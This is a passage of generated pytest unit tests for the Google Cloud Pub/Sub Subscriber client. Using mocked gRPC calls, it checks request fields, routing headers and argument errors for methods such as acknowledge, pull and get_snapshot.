# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.DeleteSubscriptionRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.delete_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert response is None
def test_delete_subscription_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.DeleteSubscriptionRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.delete_subscription), "__call__"
) as call:
call.return_value = None
client.delete_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_delete_subscription_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.DeleteSubscriptionRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.delete_subscription), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_subscription(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
def test_delete_subscription_flattened():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.delete_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_subscription(subscription="subscription_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].subscription == "subscription_value"
def test_delete_subscription_flattened_error():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_subscription(
pubsub.DeleteSubscriptionRequest(), subscription="subscription_value",
)
@pytest.mark.asyncio
async def test_delete_subscription_flattened_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.delete_subscription), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_subscription(subscription="subscription_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].subscription == "subscription_value"
@pytest.mark.asyncio
async def test_delete_subscription_flattened_error_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_subscription(
pubsub.DeleteSubscriptionRequest(), subscription="subscription_value",
)
def test_modify_ack_deadline(
transport: str = "grpc", request_type=pubsub.ModifyAckDeadlineRequest
):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.modify_ack_deadline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.modify_ack_deadline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.ModifyAckDeadlineRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_modify_ack_deadline_from_dict():
test_modify_ack_deadline(request_type=dict)
@pytest.mark.asyncio
async def test_modify_ack_deadline_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.ModifyAckDeadlineRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.modify_ack_deadline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.modify_ack_deadline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert response is None
def test_modify_ack_deadline_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.ModifyAckDeadlineRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.modify_ack_deadline), "__call__"
) as call:
call.return_value = None
client.modify_ack_deadline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_modify_ack_deadline_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.ModifyAckDeadlineRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.modify_ack_deadline), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.modify_ack_deadline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
def test_modify_ack_deadline_flattened():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.modify_ack_deadline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.modify_ack_deadline(
subscription="subscription_value",
ack_ids=["ack_ids_value"],
ack_deadline_seconds=2066,
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].subscription == "subscription_value"
assert args[0].ack_ids == ["ack_ids_value"]
assert args[0].ack_deadline_seconds == 2066
def test_modify_ack_deadline_flattened_error():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.modify_ack_deadline(
pubsub.ModifyAckDeadlineRequest(),
subscription="subscription_value",
ack_ids=["ack_ids_value"],
ack_deadline_seconds=2066,
)
@pytest.mark.asyncio
async def test_modify_ack_deadline_flattened_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.modify_ack_deadline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.modify_ack_deadline(
subscription="subscription_value",
ack_ids=["ack_ids_value"],
ack_deadline_seconds=2066,
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].subscription == "subscription_value"
assert args[0].ack_ids == ["ack_ids_value"]
assert args[0].ack_deadline_seconds == 2066
@pytest.mark.asyncio
async def test_modify_ack_deadline_flattened_error_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.modify_ack_deadline(
pubsub.ModifyAckDeadlineRequest(),
subscription="subscription_value",
ack_ids=["ack_ids_value"],
ack_deadline_seconds=2066,
)
def test_acknowledge(transport: str = "grpc", request_type=pubsub.AcknowledgeRequest):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.acknowledge), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.acknowledge(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.AcknowledgeRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_acknowledge_from_dict():
test_acknowledge(request_type=dict)
@pytest.mark.asyncio
async def test_acknowledge_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.AcknowledgeRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.acknowledge), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.acknowledge(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert response is None
def test_acknowledge_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.AcknowledgeRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.acknowledge), "__call__") as call:
call.return_value = None
client.acknowledge(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_acknowledge_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.AcknowledgeRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.acknowledge), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.acknowledge(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
def test_acknowledge_flattened():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.acknowledge), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.acknowledge(
subscription="subscription_value", ack_ids=["ack_ids_value"],
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].subscription == "subscription_value"
assert args[0].ack_ids == ["ack_ids_value"]
def test_acknowledge_flattened_error():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.acknowledge(
pubsub.AcknowledgeRequest(),
subscription="subscription_value",
ack_ids=["ack_ids_value"],
)
@pytest.mark.asyncio
async def test_acknowledge_flattened_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.acknowledge), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.acknowledge(
subscription="subscription_value", ack_ids=["ack_ids_value"],
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].subscription == "subscription_value"
assert args[0].ack_ids == ["ack_ids_value"]
@pytest.mark.asyncio
async def test_acknowledge_flattened_error_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.acknowledge(
pubsub.AcknowledgeRequest(),
subscription="subscription_value",
ack_ids=["ack_ids_value"],
)
def test_pull(transport: str = "grpc", request_type=pubsub.PullRequest):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.pull), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.PullResponse()
response = client.pull(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.PullRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.PullResponse)
def test_pull_from_dict():
test_pull(request_type=dict)
@pytest.mark.asyncio
async def test_pull_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.PullRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._client._transport.pull), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.PullResponse())
response = await client.pull(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.PullResponse)
def test_pull_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.PullRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.pull), "__call__") as call:
call.return_value = pubsub.PullResponse()
client.pull(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_pull_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.PullRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._client._transport.pull), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.PullResponse())
await client.pull(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
def test_pull_flattened():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.pull), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.PullResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.pull(
subscription="subscription_value",
return_immediately=True,
max_messages=1277,
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].subscription == "subscription_value"
assert args[0].return_immediately == True
assert args[0].max_messages == 1277
def test_pull_flattened_error():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.pull(
pubsub.PullRequest(),
subscription="subscription_value",
return_immediately=True,
max_messages=1277,
)
@pytest.mark.asyncio
async def test_pull_flattened_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._client._transport.pull), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.PullResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.PullResponse())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.pull(
subscription="subscription_value",
return_immediately=True,
max_messages=1277,
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].subscription == "subscription_value"
assert args[0].return_immediately == True
assert args[0].max_messages == 1277
@pytest.mark.asyncio
async def test_pull_flattened_error_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.pull(
pubsub.PullRequest(),
subscription="subscription_value",
return_immediately=True,
max_messages=1277,
)
def test_streaming_pull(
transport: str = "grpc", request_type=pubsub.StreamingPullRequest
):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
requests = [request]
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.streaming_pull), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = iter([pubsub.StreamingPullResponse()])
response = client.streaming_pull(iter(requests))
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert next(args[0]) == request
# Establish that the response is the type that we expect.
for message in response:
assert isinstance(message, pubsub.StreamingPullResponse)
def test_streaming_pull_from_dict():
test_streaming_pull(request_type=dict)
@pytest.mark.asyncio
async def test_streaming_pull_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.StreamingPullRequest()
requests = [request]
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.streaming_pull), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = mock.Mock(aio.StreamStreamCall, autospec=True)
call.return_value.read = mock.AsyncMock(
side_effect=[pubsub.StreamingPullResponse()]
)
response = await client.streaming_pull(iter(requests))
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert next(args[0]) == request
# Establish that the response is the type that we expect.
message = await response.read()
assert isinstance(message, pubsub.StreamingPullResponse)
def test_modify_push_config(
transport: str = "grpc", request_type=pubsub.ModifyPushConfigRequest
):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.modify_push_config), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.modify_push_config(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.ModifyPushConfigRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_modify_push_config_from_dict():
test_modify_push_config(request_type=dict)
@pytest.mark.asyncio
async def test_modify_push_config_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.ModifyPushConfigRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.modify_push_config), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.modify_push_config(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert response is None
def test_modify_push_config_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.ModifyPushConfigRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.modify_push_config), "__call__"
) as call:
call.return_value = None
client.modify_push_config(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_modify_push_config_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.ModifyPushConfigRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.modify_push_config), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.modify_push_config(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
def test_modify_push_config_flattened():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._transport.modify_push_config), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.modify_push_config(
subscription="subscription_value",
push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].subscription == "subscription_value"
assert args[0].push_config == pubsub.PushConfig(
push_endpoint="push_endpoint_value"
)
def test_modify_push_config_flattened_error():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.modify_push_config(
pubsub.ModifyPushConfigRequest(),
subscription="subscription_value",
push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"),
)
@pytest.mark.asyncio
async def test_modify_push_config_flattened_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.modify_push_config), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.modify_push_config(
subscription="subscription_value",
push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].subscription == "subscription_value"
assert args[0].push_config == pubsub.PushConfig(
push_endpoint="push_endpoint_value"
)
@pytest.mark.asyncio
async def test_modify_push_config_flattened_error_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.modify_push_config(
pubsub.ModifyPushConfigRequest(),
subscription="subscription_value",
push_config=pubsub.PushConfig(push_endpoint="push_endpoint_value"),
)
def test_get_snapshot(transport: str = "grpc", request_type=pubsub.GetSnapshotRequest):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.get_snapshot), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Snapshot(name="name_value", topic="topic_value",)
response = client.get_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.GetSnapshotRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.Snapshot)
assert response.name == "name_value"
assert response.topic == "topic_value"
def test_get_snapshot_from_dict():
test_get_snapshot(request_type=dict)
@pytest.mark.asyncio
async def test_get_snapshot_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.GetSnapshotRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.get_snapshot), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
pubsub.Snapshot(name="name_value", topic="topic_value",)
)
response = await client.get_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.Snapshot)
assert response.name == "name_value"
assert response.topic == "topic_value"
def test_get_snapshot_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.GetSnapshotRequest()
request.snapshot = "snapshot/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.get_snapshot), "__call__") as call:
call.return_value = pubsub.Snapshot()
client.get_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "snapshot=snapshot/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_snapshot_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.GetSnapshotRequest()
request.snapshot = "snapshot/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.get_snapshot), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Snapshot())
await client.get_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "snapshot=snapshot/value",) in kw["metadata"]
def test_get_snapshot_flattened():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.get_snapshot), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Snapshot()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_snapshot(snapshot="snapshot_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].snapshot == "snapshot_value"
def test_get_snapshot_flattened_error():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_snapshot(
pubsub.GetSnapshotRequest(), snapshot="snapshot_value",
)
@pytest.mark.asyncio
async def test_get_snapshot_flattened_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.get_snapshot), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Snapshot()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Snapshot())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_snapshot(snapshot="snapshot_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].snapshot == "snapshot_value"
@pytest.mark.asyncio
async def test_get_snapshot_flattened_error_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
